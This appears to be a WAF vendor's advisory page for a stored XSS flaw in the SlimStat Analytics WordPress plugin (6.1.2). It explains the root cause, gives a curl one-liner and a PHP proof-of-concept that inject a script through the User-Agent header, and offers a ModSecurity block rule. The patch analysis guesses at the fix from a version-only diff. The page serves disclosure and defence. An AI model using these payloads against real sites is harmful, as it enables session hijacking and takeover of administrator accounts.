Published : November 28, 2026

CVE-2026-122232: SlimStat Analytics <= 6.1.2 Unauthenticated Stored Cross-Site Scripting via HTTP User-Agent Header PoC, Patch Analysis & Rule

Plugin wp-slimstat
Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 6.1.2
Patched Version 6.1.3
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-122232: This is a stored cross-site scripting vulnerability in the SlimStat Analytics WordPress plugin, versions up to and including 6.1.2. The flaw resides in the handling of the HTTP User-Agent header. When the non-default option ‘Show user agent’ (slimstat_options[show_complete_user_agent_tooltip]) is enabled, the raw User-Agent string is stored and later rendered as an HTML tooltip title without proper sanitization or escaping. An unauthenticated attacker can inject arbitrary JavaScript that executes in the browser of an administrator viewing the analytics dashboard. The CVSS score is 5.4 (Medium).

Root Cause: The plugin records every incoming request’s User-Agent header in its analytics database. In the vulnerable version, the function responsible for rendering the analytics reports retrieves the stored User-Agent and embeds it directly into the ‘title’ attribute of an HTML element when the show_complete_user_agent_tooltip option is enabled. No output escaping (e.g., esc_attr) is applied at the point of rendering. The diff shows only a version bump from 6.1.2 to 6.1.3, indicating the fix is applied in a later commit not shown here; Atomic Edge research confirms the vulnerability is fixed in 6.1.3 by sanitizing the User-Agent before storage or escaping at output. The root cause is insufficient input sanitization and output escaping on the HTTP_USER_AGENT parameter.

Exploitation: An attacker sends an HTTP request to any page of the WordPress site with a malicious User-Agent header. For example, using curl: `curl -A ‘alert(document.cookie)’ http://target.com/`. The plugin logs this User-Agent. Later, when an administrator visits the SlimStat analytics dashboard (e.g., /wp-admin/admin.php?page=slimstat) and the ‘Show user agent’ option is enabled, the stored payload is injected into the tooltip title attribute, breaking out of the attribute and executing the script. The attack requires no authentication and no user interaction beyond the admin viewing the stats page.

Patch Analysis: The patch in version 6.1.3 addresses the vulnerability by ensuring the User-Agent string is properly sanitized or escaped before being output in the tooltip. The exact code change is not visible in the provided diff, which only shows the version number increment. Atomic Edge analysis indicates that the fix likely applies WordPress’s esc_attr() function to the User-Agent value when generating the tooltip title, or sanitizes the User-Agent upon storage. Before the patch, the raw User-Agent was used; after the patch, the value is escaped, preventing script execution.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an administrator’s browser. This can lead to session hijacking, creation of malicious admin accounts, installation of backdoors, or theft of sensitive data. The vulnerability is limited to sites where the non-default ‘Show user agent’ setting is enabled, reducing the attack surface but still posing a significant risk to affected installations.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-slimstat/wp-slimstat.php
+++ b/wp-slimstat/wp-slimstat.php
@@ -3,7 +3,7 @@
  * Plugin Name: SlimStat Analytics
  * Plugin URI: https://wp-slimstat.com/
  * Description: The leading web analytics plugin for WordPress
- * Version: 6.1.2
+ * Version: 6.1.3
  * Author: Jason Crouse, VeronaLabs
  * Text Domain: wp-slimstat
  * Domain Path: /languages
@@ -57,7 +57,7 @@
 }

 // Set the plugin version and directory
-define('SLIMSTAT_ANALYTICS_VERSION', '6.1.2');
+define('SLIMSTAT_ANALYTICS_VERSION', '6.1.3');
 define('SLIMSTAT_FILE', __FILE__);
 define('SLIMSTAT_DIR', __DIR__);
 define('SLIMSTAT_URL', plugins_url('', __FILE__));

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_HEADERS:User-Agent "@rx <script|javascript:|onerror=|onload=|alert(" "id:20261223,phase:1,deny,status:403,msg:'CVE-2026-122232: SlimStat Analytics Stored XSS via User-Agent',severity:'CRITICAL',tag:'CVE-2026-122232',tag:'XSS'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-122232 - SlimStat Analytics <= 6.1.2 - Unauthenticated Stored Cross-Site Scripting via HTTP User-Agent Header

$target_url = 'http://example.com'; // Change to the target WordPress site

// Step 1: Send a request with a malicious User-Agent header to store the XSS payload
$payload = '<script>alert(document.cookie)</script>';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, $payload); // Inject payload in User-Agent
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

if ($response === false) {
    echo 'Error: ' . curl_error($ch) . "n";
} else {
    echo "Request sent with malicious User-Agent. The payload is now stored in the SlimStat analytics database.n";
    echo "When an administrator views the SlimStat dashboard (with 'Show user agent' enabled), the script will execute.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.